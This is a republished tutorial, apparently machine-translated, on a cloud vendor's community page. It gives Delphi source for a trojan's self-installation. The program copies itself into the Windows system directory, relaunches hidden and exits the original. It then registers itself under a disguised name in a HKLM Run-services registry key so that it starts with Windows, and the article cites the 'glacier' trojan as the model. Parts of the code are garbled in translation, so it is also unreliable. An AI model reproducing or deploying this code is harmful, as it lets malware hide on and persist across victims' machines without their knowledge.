Trojan self-copy method [Delphi]

Source: Internet
Author: User

The principle of this method is to check whether the program is running in a specific directory before running the program. If not, copy the program to a specific directory and run the new program, then exit the old program.
Open Delphi, create a project, and write the code in the create event of the window:

 

Procedure tform1.formcreate (Sender: tobject );
VaR myname: string;
Begin
Myname: = extractfilename (application. exename); // get the file name
If application. exename <> getwindir + myname then // if the file is not in Windowssystem, then ..
Begin
Copyfile (pchar (application. exename), pchar (getwindir + myname), false);... {copy yourself to Windowssystem}
Winexec (pchar (getwindir + myname), sw_hide); // run the new file under Windowssystem
Application. Terminate; // exit
End;
End;
Getwindir is a user-defined function. The function is to find the path of Windowssystem.
Function getwindir: string;
VaR
Buf: array [0 .. max_path] of char;
Begin
Getsystemdirectory (BUF, max_path );
Result: = Buf;
If result [length (result)] <> ''then result: = Result + '';
End;

 

How can I enable the program to automatically start when Windows is started?
 
To enable the program to run automatically when Windows is started, there are six ways to achieve this. "glacier" uses the registry.
Add the Registry Unit and rewrite the create event in the preceding window. The rewritten program is as follows:

 

Procedure tform1.formcreate (Sender: tobject );
Const K = 'softwaremicrosoftwindowscurrentversionrunservice ';
VaR myname: string;
Begin
... {Write by lovejingtao, http://Lovejingtao.126.com, Lovejingtao@21cn.com}
Myname: = extractfilename (application. exename); // get the file name
If application. exename <> getwindir + myname then // if the file is not in Windowssystem, then ..
Begin
Copyfile (pchar (application. exename), pchar (getwindir + myname), false);... {// copy yourself to Windowssystem}
Winexec (pchar (getwindir + myname), sw_hide); // run the new file under Windowssystem
Application. Terminate; // exit
End;
With Tregistry. Create do
Try
Rootkey: = HKEY_LOCAL_MACHINE;
Openkey (K, true );
Writestring ('syspler', application. exename );
Finally
Free;
End;
End;

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.